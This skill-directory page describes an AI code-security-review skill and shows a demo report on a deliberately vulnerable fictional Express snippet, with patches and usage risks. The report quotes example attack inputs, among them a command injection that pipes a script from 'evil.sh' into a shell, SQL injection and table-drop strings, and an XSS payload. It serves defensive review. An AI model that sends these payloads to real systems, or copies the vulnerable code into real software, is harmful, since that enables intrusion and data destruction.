Home / Skills / Developer Productivity / Security Review (AI code scanner)
Developer Productivity

Security Review (AI code scanner)

awesome-copilot communityMITSkill language: English
License verifiedNo scriptsHigh risk
DemoReal run ยท claude-sonnet-5-5 ยท October 2026
Using the security-review skill, review this small fictional Express snippet. Treat it as the whole project. File server.js: const express=require("express"); const app=express(); const db=require("./db"); const STRIPE_KEY="sk_live_FAKE_EXAMPLE_NOT_A_REAL_KEY_1234"; app.get("/user", (req,res)=>{ db.query("SELECT * FROM users WHERE id = "+req.query.id,(e,r)=>res.send(r)); }); app.get("/page",(req,res)=>{ res.send("<h1>Hello "+req.query.name+"</h1>"); }); app.get("/run",(req,res)=>{ require("child_process").exec("ping -c1 "+req.query.host); res.end(); }); app.listen(3000). File package.json dependencies: lodash 4.17.15, jsonwebtoken 8.5.0.
Skill: security-review
Read: references/report-format.md
Read: references/vulnerable-packages.md
Read: references/language-patterns.md
โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
โ•‘           ๐Ÿ” SECURITY REVIEW REPORT                      โ•‘
โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
Project: skill-trial (fictional snippet)   Scan Date: 2026-10-05
Scope: server.js, package.json (the whole project)
Languages: JavaScript (Node.js)   Frameworks: Express
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ ๐Ÿ”ด CRITICAL  โ”‚ 3 findings     โ”‚
โ”‚ ๐ŸŸ  HIGH      โ”‚ 2 findings     โ”‚
โ”‚ ๐ŸŸก MEDIUM    โ”‚ 1 finding      โ”‚
โ”‚ ๐Ÿ”ต LOW       โ”‚ 2 findings     โ”‚
โ”‚ โšช INFO      โ”‚ 2 findings     โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ TOTAL        โ”‚ 10 findings    โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
Dependency Audit: 2 vulnerable packages
Secrets Scan: 1 exposed credential

The snippet is a single line, so locations are given by route instead of line number.

Injection

๐Ÿ”ด CRITICAL: SQL injection (Confidence: HIGH)
๐Ÿ“ server.js, GET /user

db.query("SELECT * FROM users WHERE id = "+req.query.id, ...)

โš ๏ธ req.query.id goes straight into the SQL string. An attacker can dump or modify any table, for example /user?id=0 UNION SELECT .... If ./db allows stacked queries, they can also run ; DROP TABLE users. Express can also parse id[]= into an array or object, which makes the input shape unpredictable.
๐Ÿ“š OWASP A03:2021

๐Ÿ”ด CRITICAL: OS command injection (RCE) (Confidence: HIGH)
๐Ÿ“ server.js, GET /run

require("child_process").exec("ping -c1 "+req.query.host);

โš ๏ธ exec runs the string through a shell. /run?host=1.1.1.1;curl evil.sh|sh gives remote code execution as the server user. The response doesn't echo the output, but the attack still works blind, and it can use reverse shells or DNS exfiltration. The endpoint is also unauthenticated.
๐Ÿ“š OWASP A03:2021, CWE-78

๐ŸŸ  HIGH: Reflected XSS (Confidence: HIGH)
๐Ÿ“ server.js, GET /page

res.send("<h1>Hello "+req.query.name+"</h1>");

โš ๏ธ res.send with a string sets Content-Type: text/html, and name is not escaped. A link such as /page?name=<script>โ€ฆ</script> runs script in the victim's session on your origin.
๐Ÿ“š OWASP A03:2021, CWE-79

Authentication and access control

๐ŸŸ  HIGH: Missing authentication/authorization, with excessive data exposure (Confidence: HIGH)
๐Ÿ“ server.js, GET /user (and /run)
โš ๏ธ No authentication middleware exists anywhere. Anyone can request any user ID (IDOR) and receive the full SELECT * row. That likely includes password hashes, emails and other PII. Sequential IDs make enumeration easy. jsonwebtoken is in package.json but is never used.

Error handling

๐ŸŸก MEDIUM: No error handling on the DB call (Confidence: HIGH)
๐Ÿ“ server.js, /user callback (e,r)=>res.send(r)
โš ๏ธ The error e is ignored. On failure r is undefined, so the request hangs or returns an empty response. If you "fix" this by sending e, you would leak SQL error text, which makes the injection easier to exploit. Log the error server-side and return a generic 500.

Hardening

  • ๐Ÿ”ต LOW: No security headers. helmet() is missing, and there is no CSP, which would have limited the XSS. (Confidence: HIGH)
  • ๐Ÿ”ต LOW: No rate limiting on any endpoint. /run can be used to flood other hosts. (Confidence: HIGH)

๐Ÿ”‘ Secrets and exposure scan

๐Ÿ”ด CRITICAL: Hardcoded Stripe live key (Confidence: HIGH)
๐Ÿ“ server.js, top of file

const STRIPE_KEY="sk_live_FAKE_EXAMPLE_NOT_A_REAL_KEY_1234";

The sk_live_ prefix marks a live secret key. Anyone with repo access can issue charges and refunds and read customer data. The key is also unused in this snippet, so it is dead weight with real risk. This one is a fake example, but a real key in this position would need these steps:

  1. Rotate the key in the Stripe dashboard.
  2. Load it from process.env.STRIPE_KEY.
  3. Keep .env out of git.
  4. Check git history with git log --all -p | grep sk_live_, and purge it with git-filter-repo or BFG if it appears.

๐Ÿ“ฆ Dependency audit

  • ๐ŸŸ  HIGH: [email protected] is below 4.17.21.
    • CVE-2020-8203: prototype pollution in zipObjectDeep, fixed in 4.17.19.
    • CVE-2021-23337: command injection via _.template.
    • CVE-2020-28500: ReDoS.
    • Fix: npm install [email protected]. The snippet doesn't call lodash, so exposure is conditional, but the version is still vulnerable.
  • ๐ŸŸ  HIGH: [email protected] is below 9.0.0. It has algorithm and key-confusion weaknesses (CVE-2022-23529, CVE-2022-23539, CVE-2022-23540, CVE-2022-23541). Fix: npm install jsonwebtoken@9. Always pass an explicit algorithms: [...] list to verify.
  • โšช INFO: express and ./db are required in code, but express isn't listed in package.json, and there is no lockfile. The app won't install cleanly, and versions can't be audited or pinned.
  • โšช INFO: lodash and jsonwebtoken are declared but unused. Remove them if they aren't needed, which shrinks the attack surface.

๐Ÿ› ๏ธ Patch proposals

โš ๏ธ Review each patch before applying. Nothing has been changed yet.

Patch 1/4: SQL injection in /user

// BEFORE
db.query("SELECT * FROM users WHERE id = "+req.query.id,(e,r)=>res.send(r));

// AFTER: parameterized query, selected columns only, and error handling
// (placeholder syntax assumes mysql-style `?`; use $1 for pg)
db.query("SELECT id, name FROM users WHERE id = ?",[req.query.id],(e,r)=>{
  if(e) return res.sendStatus(500); // don't leak DB errors
  res.json(r);
});

Patch 2/4: Command injection in /run

// BEFORE
require("child_process").exec("ping -c1 "+req.query.host);
res.end();

// AFTER: no shell (execFile), validated input, "--" ends option parsing
const net=require("net");
const host=String(req.query.host);
if(!net.isIP(host)) return res.sendStatus(400); // allow-list: IPs only
require("child_process").execFile("ping",["-c1","--",host],()=>res.end());

Also put this route behind authentication, or remove it.

Patch 3/4: XSS in /page

// BEFORE
res.send("<h1>Hello "+req.query.name+"</h1>");

// AFTER: HTML-escape output (or use a template engine with auto-escaping)
const esc=s=>String(s).replace(/[&<>"']/g,c=>({"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;"}[c]));
res.send("<h1>Hello "+esc(req.query.name)+"</h1>");

Also add app.use(require("helmet")()).

Patch 4/4: Hardcoded secret

// BEFORE
const STRIPE_KEY="sk_live_FAKE_EXAMPLE_NOT_A_REAL_KEY_1234";

// AFTER: read from the environment; rotate the old key
const STRIPE_KEY=process.env.STRIPE_KEY;

The missing authentication finding needs a design decision, so I haven't written a patch for it. Add auth middleware (for example, verifying a JWT with jsonwebtoken@9) and check that req.user.id matches the requested ID or the user is an admin.

โšก Next steps

  1. Rotate the key, then fix the SQLi and command injection first.
  2. Add authentication, then fix the XSS and upgrade the dependencies.
  3. Add helmet and rate limiting, and commit a package.json with all dependencies plus a lockfile.

๐Ÿ’ก This is a static review of the snippet as given. I couldn't see ./db, so the SQL placeholder syntax and stacked-query behavior are assumptions.

Real run in an isolated folder with only this skill installed. Only the Skill and Read tools were enabled, so nothing was fetched from the web and no file was written. The example is fictional. The code is a short fictional snippet with an obviously fake key; the model opened three of the skill's reference files and changed nothing.

What it does

Scans a project or a path for security issues across JavaScript, TypeScript, Python, Java, PHP, Go, Ruby and Rust. It audits dependencies against a curated watchlist, scans for hardcoded secrets and exposed credentials, then reasons about injection (SQL, XSS, command), authentication and access control (IDOR, JWT, CSRF), data handling (SSRF, path traversal, deserialization), cryptography and business-logic flaws, and traces data flow across files.

How it works

  1. The model resolves the scope and loads language-specific patterns.
  2. It audits dependencies, scans for secrets, runs the deep scan and the cross-file flow analysis.
  3. It re-checks each finding to cut false positives, rates severity from critical to info with a confidence level, and writes a report grouped by category.
  4. For critical and high findings it shows before and after code and states that nothing has been changed.

Good for

Reviewing your own code before release, checking a pull request area, or a quick triage of a repository.

Notes & risks

Read this first: to find secrets the skill tells the model to scan ALL files, including `.env`, config, CI and infrastructure files, and it has no rule that forces real values to be masked, so live keys may end up in your conversation or the report. Scope it to one folder, remove or rotate real secrets, or run it on a copy. It is static analysis only: it does not run your code, and patches are shown, never applied. Its report may suggest commands such as `git log --all -p | grep` and history-rewriting tools; do not run them without understanding them. The dependency list is a fixed watchlist, not a live CVE feed. This is not a substitute for a professional security audit.